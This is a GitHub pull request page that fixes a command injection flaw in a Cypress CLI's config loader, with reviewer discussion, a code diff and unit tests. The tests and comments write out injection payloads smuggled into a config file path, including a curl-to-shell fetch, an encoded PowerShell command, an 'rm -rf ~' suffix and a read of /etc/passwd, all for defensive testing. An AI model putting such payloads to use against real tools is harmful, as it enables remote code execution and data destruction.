Skip to content

[APS-18613] fix: prevent command injection via cypress_config_file in loadJsFile #1080

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Merged
karanshah-browserstack merged 5 commits into from
May 13, 2026
Merged

[APS-18613] fix: prevent command injection via cypress_config_file in loadJsFile #1080

Show file tree
Hide file tree
Changes from 1 commit
Commits
Show all changes
5 commits
Select commit Hold shift + click to select a range
6dbf8f9
fix(security): prevent command injection via cypress_config_file [APS…
avinash-bharti Apr 16, 2026
9bb1f6f
fix(security): allow Windows backslash paths and add file-not-found U…
avinash-bharti Apr 27, 2026
d2d1c21
Merge remote-tracking branch 'origin/master' into fix/APS-18613-comma…
avinash-bharti Apr 27, 2026
986f0d2
Merge branch 'master' into fix/APS-18613-command-injection-cypress-co…
karanshah-browserstack Apr 29, 2026
e9f1fbc
Merge branch 'master' into fix/APS-18613-command-injection-cypress-co…
karanshah-browserstack May 13, 2026
File filter

Filter by extension

Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
37 changes: 31 additions & 6 deletions bin/helpers/readCypressConfigUtil.js
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,22 @@ const constants = require("./constants");
const utils = require("./utils");
const logger = require('./logger').winstonLogger;

// Defense-in-depth: reject file paths containing shell metacharacters.
// This guards against command injection even if execFileSync is ever
// replaced with a shell-based exec in the future.
const DANGEROUS_PATH_CHARS = /[;"`$|&(){}\\]/;

function validateFilePath(filepath) {
if (DANGEROUS_PATH_CHARS.test(filepath)) {
throw new Error(
`Invalid cypress config file path: "${filepath}" contains disallowed characters. ` +
'File paths must not include shell metacharacters such as ; " ` $ | & ( ) { } \\'

@karanshah-browserstack karanshah-browserstack Apr 24, 2026

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

\ is valid for windows right? Not alligned with this.

@karanshah-browserstack karanshah-browserstack Apr 24, 2026

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Why can't we just check if the path exists or not?

@avinash-bharti avinash-bharti Apr 27, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Good catch — you're right, \ is a valid path separator on Windows. I've removed \ from DANGEROUS_PATH_CHARS in commit 9bb1f6f.

This is safe because the actual security boundary here is execFileSync (no shell invocation), not the regex. Once you spawn node directly without a shell, \ carries no shell meaning anywhere. The regex is purely defense-in-depth against accidental future regressions to execSync/exec. So we only need to reject characters that have shell meaning on Unix or Windows shells (; " $ | & ( ) { }`) — not legitimate path separators.

I added Windows-path positive tests to lock this in:

  • C:\Users\test\cypress.config.js ✓
  • C:\Program Files\my app\cypress.config.js ✓ (spaces + backslashes)
  • .\subdir\cypress.config.js ✓
  • \\server\share\cypress.config.js ✓ (UNC)

Validated end-to-end with a real BrowserStack production session on Windows 11: build f5ca218e318ca84b90189b55440fef7edad300b5 — 1/1 passed.

@avinash-bharti avinash-bharti Apr 27, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Existence-checking by itself is not a security control here — it would tell us if the file currently exists, but it wouldn't stop a path like cypress.config.js"; rm -rf ~ from being interpolated into a shell command. The attacker doesn't need the literal file to exist for the injected suffix (; rm -rf ~) to run — once the string reaches execSync, the shell parses it regardless of whether cypress.config.js" is a real file.

Demonstrated this experimentally on master (commit 9bb1f6f workspace): with the master tarball, payload nonexistent.config.js"; touch /tmp/aps18613-master-pwn-<ts>; echo " created the marker file even though nonexistent.config.js doesn't exist. With the fix tarball, the same payload was rejected by validateFilePath before reaching execFileSync — no marker file created.

That said — existsSync IS valuable as a UX improvement (clearer error message), so I added it in 9bb1f6f inside loadJsFile, after validateFilePath and before execFileSync. It now throws Cypress config file not found at: <path> if the file is missing, with an inline comment documenting that this is for UX, not security. The security guarantees remain execFileSync (no shell) + the metacharacter regex.

);
}
}

exports.validateFilePath = validateFilePath;

exports.detectLanguage = (cypress_config_filename) => {
const extension = cypress_config_filename.split('.').pop()
return constants.CYPRESS_V10_AND_ABOVE_CONFIG_FILE_EXTENSIONS.includes(extension) ? extension : 'js'
Expand Down Expand Up @@ -186,13 +202,22 @@ exports.convertTsConfig = (bsConfig, cypress_config_filepath, bstack_node_module
}

exports.loadJsFile = (cypress_config_filepath, bstack_node_modules_path) => {
// Security: validate file path to reject shell metacharacters (defense-in-depth)
validateFilePath(cypress_config_filepath);

const require_module_helper_path = path.join(__dirname, 'requireModule.js')
let load_command = `NODE_PATH="${bstack_node_modules_path}" node "${require_module_helper_path}" "${cypress_config_filepath}"`
if (/^win/.test(process.platform)) {
load_command = `set NODE_PATH=${bstack_node_modules_path}&& node "${require_module_helper_path}" "${cypress_config_filepath}"`
}
logger.debug(`Running: ${load_command}`)
cp.execSync(load_command)

// Security fix: use execFileSync instead of execSync to avoid shell interpolation.
// execFileSync spawns the process directly without a shell, so user-controlled
// values in cypress_config_filepath cannot break out into shell commands.
const execOptions = {
env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path })
};
const args = [require_module_helper_path, cypress_config_filepath];

logger.debug(`Running: node ${args.map(a => '"' + a + '"').join(' ')} (via execFileSync, NODE_PATH=${bstack_node_modules_path})`);

@karanshah-browserstack karanshah-browserstack Apr 24, 2026

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

How are we setting env vars?

@avinash-bharti avinash-bharti Apr 27, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Env vars are now passed through execFileSync's env option instead of the old shell-prefix approach (NODE_PATH=... node ... on Unix, set NODE_PATH=...&& on Windows). This is the safer cross-platform path — no shell interpolation needed, and the child process gets a clean inherited environment with NODE_PATH overridden:

const execOptions = {
    env: Object.assign({}, process.env, { NODE_PATH: bstack_node_modules_path })
};
const args = [require_module_helper_path, cypress_config_filepath];
cp.execFileSync('node', args, execOptions);

Verified end-to-end with a shim that prints process.env.NODE_PATH from the child: when called with bstack_node_modules_path = '/expected/test/path/aps-18613-marker', the child's process.env.NODE_PATH is exactly that value. Process tree on macOS confirms only node is spawned (no sh/bash/cmd/powershell):

2594  2573 node -e ...loadJsFile(path.resolve('cypress.config.js'), '/test/np')
2656  2594 node /.../requireModule.js /.../cypress.config.js

So the parent CLI process spawns node directly, which then receives the env via the inherited environment — equivalent semantically to the old shell-prefix but without any shell parsing surface area.

@karanshah-browserstack karanshah-browserstack Apr 29, 2026

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Don't want to modify the existing logic, just validation should suffice.

@avinash-bharti avinash-bharti Apr 29, 2026

Copy link
Copy Markdown
Collaborator Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Wanted to lay out the rationale before reverting, because this isn't a stylistic refactor — it's the load-bearing security control:

execFileSync is the actual fix; the regex is hardening. In our extended Windows validation (#issuecomment-4333011662 → E10), we commented out validateFilePath() entirely and replayed the HackerOne payload on a real Win11 host. execFileSync('node', [args]) blocked the RCE (returned MODULE_NOT_FOUND, no powershell.exe spawn) because no shell parses the args. With regex-only validation, any future bypass — Unicode normalization, a missed metachar, an encoding edge case — re-opens the RCE path.

The change is minimal and semantics-preserving:

- cp.execSync(`NODE_PATH="${p}" node "${helper}" "${cfg}"`)        // Unix
- cp.execSync(`set NODE_PATH=${p}&& node "${helper}" "${cfg}"`)    // Windows
+ cp.execFileSync('node', [helper, cfg], { env: {...process.env, NODE_PATH: p} })

Same node child, same NODE_PATH override — no shell, no platform branch.

Confidence — what we've validated directly on dev-test-cypress-003-ec2-euc1a-stag.bsstag.com (real Win11 release host) using a Windows-built tarball running prod BrowserStack sessions:

  • 4/4 path-acceptance BS prod builds passed (relative, absolute-with-backslashes, path-with-spaces, .\path) — verified via bs_api_build_sessions
  • 6/6 metachar payloads blocked + H1 PoC blocked
  • Process tree: only node→node (no cmd.exe/powershell.exe child)
  • NODE_PATH propagation correct via env option (verified with shim)
  • Unit suites Δ on Windows: fix 666p/25f vs master 650p/26f → +16 pass / -1 fail, 0 fix-only failures
  • cy.task / cy.exec smoke session: done ~156s

Where my confidence isn't 100%:

  • E2 (full TypeScript config E2E flow) — the build was created on BS but the runner went down before final session-status capture; partial evidence only
  • We did not run the team's standard QA AutomateFrameworksTests regression that's part of the Cypress release process (Stage 5 in the release doc)

Suggested path: run this PR through the QA AutomateFrameworksTests job (with CYPRESS_TEST_SUITE_TYPE=cypressJS_10_above, CYPRESS_SPECS=basic_spec) before merge, on at least one Mac + one Windows terminal — that gives us the regression-grade signal the release process expects. Happy to coordinate with QA on this.

If after the regression you still prefer regex-only, I'll revert to execSync — but the regression run would let us make the call with full data instead of trading away defense-in-depth on a hunch. Picking up your other comment (input validation on all params) in a follow-up PR linked to APS-18613.

cp.execFileSync('node', args, execOptions);

const cypress_config = JSON.parse(fs.readFileSync(config.configJsonFileName).toString())
if (fs.existsSync(config.configJsonFileName)) {
fs.unlinkSync(config.configJsonFileName)
Expand Down
68 changes: 62 additions & 6 deletions test/unit/bin/helpers/readCypressConfigUtil.js
View file
Open in desktop
Original file line number Diff line number Diff line change
Expand Up @@ -40,9 +40,44 @@ describe("readCypressConfigUtil", () => {
});
});

describe('validateFilePath', () => {
it('should accept a normal file path', () => {
expect(() => readCypressConfigUtil.validateFilePath('path/to/cypress.config.js')).to.not.throw();
});

it('should accept paths with spaces', () => {
expect(() => readCypressConfigUtil.validateFilePath('path/to my project/cypress.config.js')).to.not.throw();
});

it('should reject paths with semicolons (command injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config";curl localhost:8000/shell.sh|sh;".js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with ampersands (Windows command injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config"&powershell -encodedcommand abc&".js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with backticks (subshell injection)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config`whoami`.js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with dollar signs (variable expansion)', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config$(id).js'))
.to.throw(/disallowed characters/);
});

it('should reject paths with pipe characters', () => {
expect(() => readCypressConfigUtil.validateFilePath('cypress.config|cat /etc/passwd'))
.to.throw(/disallowed characters/);
});
});

describe('loadJsFile', () => {
it('should load js file', () => {
const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
it('should load js file using execFileSync', () => {
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
Expand All @@ -51,15 +86,20 @@ describe("readCypressConfigUtil", () => {
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');

expect(result).to.eql({ e2e: {} });
sinon.assert.calledOnceWithExactly(loadCommandStub, `NODE_PATH="path/to/tmpBstackPackages" node "${requireModulePath}" "path/to/cypress.config.ts"`);
// Verify execFileSync is called with 'node' as first arg and array of args
sinon.assert.calledOnce(execFileStub);
expect(execFileStub.getCall(0).args[0]).to.eql('node');
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
// Verify NODE_PATH is passed via env option
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
sinon.assert.calledOnce(readFileSyncStub);
sinon.assert.calledOnce(unlinkSyncSyncStub);
sinon.assert.calledOnce(existsSyncStub);
});

it('should load js file for win', () => {
it('should load js file using execFileSync on Windows too (no platform-specific branching needed)', () => {
sinon.stub(process, 'platform').value('win32');
const loadCommandStub = sandbox.stub(cp, "execSync").returns("random string");
const execFileStub = sandbox.stub(cp, "execFileSync").returns("random string");
const readFileSyncStub = sandbox.stub(fs, 'readFileSync').returns('{"e2e": {}}');
const existsSyncStub = sandbox.stub(fs, 'existsSync').returns(true);
const unlinkSyncSyncStub = sandbox.stub(fs, 'unlinkSync');
Expand All @@ -68,11 +108,27 @@ describe("readCypressConfigUtil", () => {
const result = readCypressConfigUtil.loadJsFile('path/to/cypress.config.ts', 'path/to/tmpBstackPackages');

expect(result).to.eql({ e2e: {} });
sinon.assert.calledOnceWithExactly(loadCommandStub, `set NODE_PATH=path/to/tmpBstackPackages&& node "${requireModulePath}" "path/to/cypress.config.ts"`);
// Same call signature on Windows - execFileSync handles cross-platform
sinon.assert.calledOnce(execFileStub);
expect(execFileStub.getCall(0).args[0]).to.eql('node');
expect(execFileStub.getCall(0).args[1]).to.eql([requireModulePath, 'path/to/cypress.config.ts']);
expect(execFileStub.getCall(0).args[2].env.NODE_PATH).to.eql('path/to/tmpBstackPackages');
sinon.assert.calledOnce(readFileSyncStub);
sinon.assert.calledOnce(unlinkSyncSyncStub);
sinon.assert.calledOnce(existsSyncStub);
});

it('should reject file paths containing command injection characters', () => {
const maliciousPath = 'cypress.config";curl localhost:8000/shell.sh|sh;".js';
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
.to.throw(/disallowed characters/);
});

it('should reject Windows command injection payloads', () => {
const maliciousPath = 'cypress.config"&powershell -encodedcommand abc&".js';
expect(() => readCypressConfigUtil.loadJsFile(maliciousPath, 'path/to/tmpBstackPackages'))
.to.throw(/disallowed characters/);
});
});

describe('resolveTsConfigPath', () => {
Expand Down
Loading